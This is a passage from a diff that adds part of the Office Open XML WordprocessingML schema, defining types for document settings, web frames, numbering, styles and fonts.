value="doNotCompress"/> + <xsd:enumeration value="compressPunctuation"/> + <xsd:enumeration value="compressPunctuationAndJapaneseKana"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_CharacterSpacing"> + <xsd:attribute name="val" type="ST_CharacterSpacing" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SaveThroughXslt"> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="solutionID" type="s:ST_String" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_RPrDefault"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PPrDefault"> + <xsd:sequence> + <xsd:element name="pPr" type="CT_PPrGeneral" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DocDefaults"> + <xsd:sequence> + <xsd:element name="rPrDefault" type="CT_RPrDefault" minOccurs="0"/> + <xsd:element name="pPrDefault" type="CT_PPrDefault" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_WmlColorSchemeIndex"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="dark1"/> + <xsd:enumeration value="light1"/> + <xsd:enumeration value="dark2"/> + <xsd:enumeration value="light2"/> + <xsd:enumeration value="accent1"/> + <xsd:enumeration value="accent2"/> + <xsd:enumeration value="accent3"/> + <xsd:enumeration value="accent4"/> + <xsd:enumeration value="accent5"/> + <xsd:enumeration value="accent6"/> + <xsd:enumeration value="hyperlink"/> + <xsd:enumeration value="followedHyperlink"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ColorSchemeMapping"> + <xsd:attribute name="bg1" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="t1" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="bg2" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="t2" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="accent1" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="accent2" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="accent3" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="accent4" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="accent5" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="accent6" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="hyperlink" type="ST_WmlColorSchemeIndex"/> + <xsd:attribute name="followedHyperlink" type="ST_WmlColorSchemeIndex"/> + </xsd:complexType> + <xsd:complexType name="CT_ReadingModeInkLockDown"> + <xsd:attribute name="actualPg" type="s:ST_OnOff" use="required"/> + <xsd:attribute name="w" type="ST_PixelsMeasure" use="required"/> + <xsd:attribute name="h" type="ST_PixelsMeasure" use="required"/> + <xsd:attribute name="fontSz" type="ST_DecimalNumberOrPercent" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_WriteProtection"> + <xsd:attribute name="recommended" type="s:ST_OnOff" use="optional"/> + <xsd:attributeGroup ref="AG_Password"/> + <xsd:attributeGroup ref="AG_TransitionalPassword"/> + </xsd:complexType> + <xsd:complexType name="CT_Settings"> + <xsd:sequence> + <xsd:element name="writeProtection" type="CT_WriteProtection" minOccurs="0"/> + <xsd:element name="view" type="CT_View" minOccurs="0"/> + <xsd:element name="zoom" type="CT_Zoom" minOccurs="0"/> + <xsd:element name="removePersonalInformation" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="removeDateAndTime" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotDisplayPageBoundaries" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="displayBackgroundShape" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="printPostScriptOverText" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="printFractionalCharacterWidth" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="printFormsData" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="embedTrueTypeFonts" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="embedSystemFonts" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="saveSubsetFonts" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="saveFormsData" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="mirrorMargins" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="alignBordersAndEdges" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bordersDoNotSurroundHeader" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bordersDoNotSurroundFooter" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="gutterAtTop" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hideSpellingErrors" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hideGrammaticalErrors" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="activeWritingStyle" type="CT_WritingStyle" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:element name="proofState" type="CT_Proof" minOccurs="0"/> + <xsd:element name="formsDesign" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="attachedTemplate" type="CT_Rel" minOccurs="0"/> + <xsd:element name="linkStyles" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="stylePaneFormatFilter" type="CT_StylePaneFilter" minOccurs="0"/> + <xsd:element name="stylePaneSortMethod" type="CT_StyleSort" minOccurs="0"/> + <xsd:element name="documentType" type="CT_DocType" minOccurs="0"/> + <xsd:element name="mailMerge" type="CT_MailMerge" minOccurs="0"/> + <xsd:element name="revisionView" type="CT_TrackChangesView" minOccurs="0"/> + <xsd:element name="trackRevisions" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotTrackMoves" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotTrackFormatting" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="documentProtection" type="CT_DocProtect" minOccurs="0"/> + <xsd:element name="autoFormatOverride" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="styleLockTheme" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="styleLockQFSet" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="defaultTabStop" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="autoHyphenation" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="consecutiveHyphenLimit" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="hyphenationZone" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="doNotHyphenateCaps" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="showEnvelope" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="summaryLength" type="CT_DecimalNumberOrPrecent" minOccurs="0"/> + <xsd:element name="clickAndTypeStyle" type="CT_String" minOccurs="0"/> + <xsd:element name="defaultTableStyle" type="CT_String" minOccurs="0"/> + <xsd:element name="evenAndOddHeaders" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bookFoldRevPrinting" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bookFoldPrinting" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bookFoldPrintingSheets" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="drawingGridHorizontalSpacing" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="drawingGridVerticalSpacing" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="displayHorizontalDrawingGridEvery" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="displayVerticalDrawingGridEvery" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="doNotUseMarginsForDrawingGridOrigin" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="drawingGridHorizontalOrigin" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="drawingGridVerticalOrigin" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="doNotShadeFormData" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noPunctuationKerning" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="characterSpacingControl" type="CT_CharacterSpacing" minOccurs="0"/> + <xsd:element name="printTwoOnOne" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="strictFirstAndLastChars" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noLineBreaksAfter" type="CT_Kinsoku" minOccurs="0"/> + <xsd:element name="noLineBreaksBefore" type="CT_Kinsoku" minOccurs="0"/> + <xsd:element name="savePreviewPicture" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotValidateAgainstSchema" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="saveInvalidXml" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ignoreMixedContent" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="alwaysShowPlaceholderText" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotDemarcateInvalidXml" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="saveXmlDataOnly" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useXSLTWhenSaving" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="saveThroughXslt" type="CT_SaveThroughXslt" minOccurs="0"/> + <xsd:element name="showXMLTags" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="alwaysMergeEmptyNamespace" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="updateFields" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hdrShapeDefaults" type="CT_ShapeDefaults" minOccurs="0"/> + <xsd:element name="footnotePr" type="CT_FtnDocProps" minOccurs="0"/> + <xsd:element name="endnotePr" type="CT_EdnDocProps" minOccurs="0"/> + <xsd:element name="compat" type="CT_Compat" minOccurs="0"/> + <xsd:element name="docVars" type="CT_DocVars" minOccurs="0"/> + <xsd:element name="rsids" type="CT_DocRsids" minOccurs="0"/> + <xsd:element ref="m:mathPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="attachedSchema" type="CT_String" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="themeFontLang" type="CT_Language" minOccurs="0" maxOccurs="1"/> + <xsd:element name="clrSchemeMapping" type="CT_ColorSchemeMapping" minOccurs="0"/> + <xsd:element name="doNotIncludeSubdocsInStats" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotAutoCompressPictures" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="forceUpgrade" type="CT_Empty" minOccurs="0" maxOccurs="1"/> + <xsd:element name="captions" type="CT_Captions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="readModeInkLockDown" type="CT_ReadingModeInkLockDown" minOccurs="0"/> + <xsd:element name="smartTagType" type="CT_SmartTagType" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element ref="sl:schemaLibrary" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shapeDefaults" type="CT_ShapeDefaults" minOccurs="0"/> + <xsd:element name="doNotEmbedSmartTags" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="decimalSymbol" type="CT_String" minOccurs="0" maxOccurs="1"/> + <xsd:element name="listSeparator" type="CT_String" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_StyleSort"> + <xsd:attribute name="val" type="ST_StyleSort" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_StylePaneFilter"> + <xsd:attribute name="allStyles" type="s:ST_OnOff"/> + <xsd:attribute name="customStyles" type="s:ST_OnOff"/> + <xsd:attribute name="latentStyles" type="s:ST_OnOff"/> + <xsd:attribute name="stylesInUse" type="s:ST_OnOff"/> + <xsd:attribute name="headingStyles" type="s:ST_OnOff"/> + <xsd:attribute name="numberingStyles" type="s:ST_OnOff"/> + <xsd:attribute name="tableStyles" type="s:ST_OnOff"/> + <xsd:attribute name="directFormattingOnRuns" type="s:ST_OnOff"/> + <xsd:attribute name="directFormattingOnParagraphs" type="s:ST_OnOff"/> + <xsd:attribute name="directFormattingOnNumbering" type="s:ST_OnOff"/> + <xsd:attribute name="directFormattingOnTables" type="s:ST_OnOff"/> + <xsd:attribute name="clearFormatting" type="s:ST_OnOff"/> + <xsd:attribute name="top3HeadingStyles" type="s:ST_OnOff"/> + <xsd:attribute name="visibleStyles" type="s:ST_OnOff"/> + <xsd:attribute name="alternateStyleNames" type="s:ST_OnOff"/> + <xsd:attribute name="val" type="ST_ShortHexNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_StyleSort"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="name"/> + <xsd:enumeration value="priority"/> + <xsd:enumeration value="default"/> + <xsd:enumeration value="font"/> + <xsd:enumeration value="basedOn"/> + <xsd:enumeration value="type"/> + <xsd:enumeration value="0000"/> + <xsd:enumeration value="0001"/> + <xsd:enumeration value="0002"/> + <xsd:enumeration value="0003"/> + <xsd:enumeration value="0004"/> + <xsd:enumeration value="0005"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_WebSettings"> + <xsd:sequence> + <xsd:element name="frameset" type="CT_Frameset" minOccurs="0"/> + <xsd:element name="divs" type="CT_Divs" minOccurs="0"/> + <xsd:element name="encoding" type="CT_String" minOccurs="0"/> + <xsd:element name="optimizeForBrowser" type="CT_OptimizeForBrowser" minOccurs="0"/> + <xsd:element name="relyOnVML" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="allowPNG" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotRelyOnCSS" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotSaveAsSingleFile" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotOrganizeInFolder" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotUseLongFileNames" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="pixelsPerInch" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="targetScreenSz" type="CT_TargetScreenSz" minOccurs="0"/> + <xsd:element name="saveSmartTagsAsXml" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_FrameScrollbar"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="on"/> + <xsd:enumeration value="off"/> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FrameScrollbar"> + <xsd:attribute name="val" type="ST_FrameScrollbar" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_OptimizeForBrowser"> + <xsd:complexContent> + <xsd:extension base="CT_OnOff"> + <xsd:attribute name="target" type="s:ST_String" use="optional"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Frame"> + <xsd:sequence> + <xsd:element name="sz" type="CT_String" minOccurs="0"/> + <xsd:element name="name" type="CT_String" minOccurs="0"/> + <xsd:element name="title" type="CT_String" minOccurs="0"/> + <xsd:element name="longDesc" type="CT_Rel" minOccurs="0"/> + <xsd:element name="sourceFileName" type="CT_Rel" minOccurs="0"/> + <xsd:element name="marW" type="CT_PixelsMeasure" minOccurs="0"/> + <xsd:element name="marH" type="CT_PixelsMeasure" minOccurs="0"/> + <xsd:element name="scrollbar" type="CT_FrameScrollbar" minOccurs="0"/> + <xsd:element name="noResizeAllowed" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="linkedToFile" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_FrameLayout"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="rows"/> + <xsd:enumeration value="cols"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FrameLayout"> + <xsd:attribute name="val" type="ST_FrameLayout" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FramesetSplitbar"> + <xsd:sequence> + <xsd:element name="w" type="CT_TwipsMeasure" minOccurs="0"/> + <xsd:element name="color" type="CT_Color" minOccurs="0"/> + <xsd:element name="noBorder" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="flatBorders" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Frameset"> + <xsd:sequence> + <xsd:element name="sz" type="CT_String" minOccurs="0"/> + <xsd:element name="framesetSplitbar" type="CT_FramesetSplitbar" minOccurs="0"/> + <xsd:element name="frameLayout" type="CT_FrameLayout" minOccurs="0"/> + <xsd:element name="title" type="CT_String" minOccurs="0"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="frameset" type="CT_Frameset" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="frame" type="CT_Frame" minOccurs="0" maxOccurs="unbounded"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_NumPicBullet"> + <xsd:choice> + <xsd:element name="pict" type="CT_Picture"/> + <xsd:element name="drawing" type="CT_Drawing"/> + </xsd:choice> + <xsd:attribute name="numPicBulletId" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_LevelSuffix"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="tab"/> + <xsd:enumeration value="space"/> + <xsd:enumeration value="nothing"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_LevelSuffix"> + <xsd:attribute name="val" type="ST_LevelSuffix" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_LevelText"> + <xsd:attribute name="val" type="s:ST_String" use="optional"/> + <xsd:attribute name="null" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_LvlLegacy"> + <xsd:attribute name="legacy" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="legacySpace" type="s:ST_TwipsMeasure" use="optional"/> + <xsd:attribute name="legacyIndent" type="ST_SignedTwipsMeasure" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Lvl"> + <xsd:sequence> + <xsd:element name="start" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0"/> + <xsd:element name="lvlRestart" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="pStyle" type="CT_String" minOccurs="0"/> + <xsd:element name="isLgl" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suff" type="CT_LevelSuffix" minOccurs="0"/> + <xsd:element name="lvlText" type="CT_LevelText" minOccurs="0"/> + <xsd:element name="lvlPicBulletId" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="legacy" type="CT_LvlLegacy" minOccurs="0"/> + <xsd:element name="lvlJc" type="CT_Jc" minOccurs="0"/> + <xsd:element name="pPr" type="CT_PPrGeneral" minOccurs="0"/> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0"/> + </xsd:sequence> + <xsd:attribute name="ilvl" type="ST_DecimalNumber" use="required"/> + <xsd:attribute name="tplc" type="ST_LongHexNumber" use="optional"/> + <xsd:attribute name="tentative" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_MultiLevelType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="singleLevel"/> + <xsd:enumeration value="multilevel"/> + <xsd:enumeration value="hybridMultilevel"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MultiLevelType"> + <xsd:attribute name="val" type="ST_MultiLevelType" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_AbstractNum"> + <xsd:sequence> + <xsd:element name="nsid" type="CT_LongHexNumber" minOccurs="0"/> + <xsd:element name="multiLevelType" type="CT_MultiLevelType" minOccurs="0"/> + <xsd:element name="tmpl" type="CT_LongHexNumber" minOccurs="0"/> + <xsd:element name="name" type="CT_String" minOccurs="0"/> + <xsd:element name="styleLink" type="CT_String" minOccurs="0"/> + <xsd:element name="numStyleLink" type="CT_String" minOccurs="0"/> + <xsd:element name="lvl" type="CT_Lvl" minOccurs="0" maxOccurs="9"/> + </xsd:sequence> + <xsd:attribute name="abstractNumId" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_NumLvl"> + <xsd:sequence> + <xsd:element name="startOverride" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="lvl" type="CT_Lvl" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="ilvl" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Num"> + <xsd:sequence> + <xsd:element name="abstractNumId" type="CT_DecimalNumber" minOccurs="1"/> + <xsd:element name="lvlOverride" type="CT_NumLvl" minOccurs="0" maxOccurs="9"/> + </xsd:sequence> + <xsd:attribute name="numId" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Numbering"> + <xsd:sequence> + <xsd:element name="numPicBullet" type="CT_NumPicBullet" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="abstractNum" type="CT_AbstractNum" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="num" type="CT_Num" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="numIdMacAtCleanup" type="CT_DecimalNumber" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TblStyleOverrideType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="wholeTable"/> + <xsd:enumeration value="firstRow"/> + <xsd:enumeration value="lastRow"/> + <xsd:enumeration value="firstCol"/> + <xsd:enumeration value="lastCol"/> + <xsd:enumeration value="band1Vert"/> + <xsd:enumeration value="band2Vert"/> + <xsd:enumeration value="band1Horz"/> + <xsd:enumeration value="band2Horz"/> + <xsd:enumeration value="neCell"/> + <xsd:enumeration value="nwCell"/> + <xsd:enumeration value="seCell"/> + <xsd:enumeration value="swCell"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TblStylePr"> + <xsd:sequence> + <xsd:element name="pPr" type="CT_PPrGeneral" minOccurs="0"/> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0"/> + <xsd:element name="tblPr" type="CT_TblPrBase" minOccurs="0"/> + <xsd:element name="trPr" type="CT_TrPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tcPr" type="CT_TcPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_TblStyleOverrideType" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_StyleType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="paragraph"/> + <xsd:enumeration value="character"/> + <xsd:enumeration value="table"/> + <xsd:enumeration value="numbering"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Style"> + <xsd:sequence> + <xsd:element name="name" type="CT_String" minOccurs="0" maxOccurs="1"/> + <xsd:element name="aliases" type="CT_String" minOccurs="0"/> + <xsd:element name="basedOn" type="CT_String" minOccurs="0"/> + <xsd:element name="next" type="CT_String" minOccurs="0"/> + <xsd:element name="link" type="CT_String" minOccurs="0"/> + <xsd:element name="autoRedefine" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="hidden" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="uiPriority" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="semiHidden" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="unhideWhenUsed" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="qFormat" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="locked" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="personal" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="personalCompose" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="personalReply" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="rsid" type="CT_LongHexNumber" minOccurs="0"/> + <xsd:element name="pPr" type="CT_PPrGeneral" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rPr" type="CT_RPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblPr" type="CT_TblPrBase" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trPr" type="CT_TrPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tcPr" type="CT_TcPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblStylePr" type="CT_TblStylePr" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_StyleType" use="optional"/> + <xsd:attribute name="styleId" type="s:ST_String" use="optional"/> + <xsd:attribute name="default" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="customStyle" type="s:ST_OnOff" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_LsdException"> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + <xsd:attribute name="locked" type="s:ST_OnOff"/> + <xsd:attribute name="uiPriority" type="ST_DecimalNumber"/> + <xsd:attribute name="semiHidden" type="s:ST_OnOff"/> + <xsd:attribute name="unhideWhenUsed" type="s:ST_OnOff"/> + <xsd:attribute name="qFormat" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:complexType name="CT_LatentStyles"> + <xsd:sequence> + <xsd:element name="lsdException" type="CT_LsdException" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="defLockedState" type="s:ST_OnOff"/> + <xsd:attribute name="defUIPriority" type="ST_DecimalNumber"/> + <xsd:attribute name="defSemiHidden" type="s:ST_OnOff"/> + <xsd:attribute name="defUnhideWhenUsed" type="s:ST_OnOff"/> + <xsd:attribute name="defQFormat" type="s:ST_OnOff"/> + <xsd:attribute name="count" type="ST_DecimalNumber"/> + </xsd:complexType> + <xsd:complexType name="CT_Styles"> + <xsd:sequence> + <xsd:element name="docDefaults" type="CT_DocDefaults" minOccurs="0"/> + <xsd:element name="latentStyles" type="CT_LatentStyles" minOccurs="0" maxOccurs="1"/> + <xsd:element name="style" type="CT_Style" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Panose"> + <xsd:attribute name="val" type="s:ST_Panose" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_FontFamily"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="decorative"/> + <xsd:enumeration value="modern"/> + <xsd:enumeration value="roman"/> + <xsd:enumeration value="script"/> + <xsd:enumeration value="swiss"/> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FontFamily"> + <xsd:attribute name="val" type="ST_FontFamily" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Pitch"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="fixed"/> + <xsd:enumeration value="variable"/> + <xsd:enumeration value="default"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Pitch"> + <xsd:attribute name="val" type="ST_Pitch" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FontSig"> + <xsd:attribute name="usb0" use="required" type="ST_LongHexNumber"/> + <xsd:attribute name="usb1" use="required" type="ST_LongHexNumber"/> + <xsd:attribute name="usb2" use="required" type="ST_LongHexNumber"/> + <xsd:attribute name="usb3" use="required" type="ST_LongHexNumber"/> + <xsd:attribute name="csb0" use="required" type="ST_LongHexNumber"/> + <xsd:attribute name="csb1" use="required" type="ST_LongHexNumber"/> + </xsd:complexType> + <xsd:complexType name="CT_FontRel"> + <xsd:complexContent> + <xsd:extension base="CT_Rel"> + <xsd:attribute name="fontKey" type="s:ST_Guid"/> + <xsd:attribute name="subsetted" type="s:ST_OnOff"/> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Font"> + <xsd:sequence> + <xsd:element name="altName" type="CT_String" minOccurs="0" maxOccurs="1"/> + <xsd:element name="panose1" type="CT_Panose" minOccurs="0" maxOccurs="1"/> + <xsd:element name="charset" type="CT_Charset" minOccurs="0" maxOccurs="1"/> + <xsd:element name="family" type="CT_FontFamily" minOccurs="0" maxOccurs="1"/> + <xsd:element name="notTrueType" type="CT_OnOff" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pitch" type="CT_Pitch" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sig" type="CT_FontSig" minOccurs="0" maxOccurs="1"/> + <xsd:element name="embedRegular" type="CT_FontRel" minOccurs="0" maxOccurs="1"/> + <xsd:element name="embedBold" type="CT_FontRel" minOccurs="0" maxOccurs="1"/> + <xsd:element name="embedItalic" type="CT_FontRel" minOccurs="0" maxOccurs="1"/> + <xsd:element name="embedBoldItalic" type="CT_FontRel" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FontsList"> + <xsd:sequence> + <xsd:element name="font" type="CT_Font" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DivBdr"> + <xsd:sequence> + <xsd:element name="top" type="CT_Border" minOccurs="0"/> + <xsd:element name="left" type="CT_Border" minOccurs="0"/> + <xsd:element name="bottom" type="CT_Border" minOccurs="0"/> + <xsd:element name="right" type="CT_Border" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Div"> + <xsd:sequence> + <xsd:element name="blockQuote" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="bodyDiv" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="marLeft" type="CT_SignedTwipsMeasure"/> + <xsd:element name="marRight" type="CT_SignedTwipsMeasure"/> + <xsd:element name="marTop" type="CT_SignedTwipsMeasure"/> + <xsd:element name="marBottom" type="CT_SignedTwipsMeasure"/> + <xsd:element name="divBdr" type="CT_DivBdr" minOccurs="0"/> + <xsd:element name="divsChild" type="CT_Divs" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="id" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Divs"> + <xsd:sequence minOccurs="1" 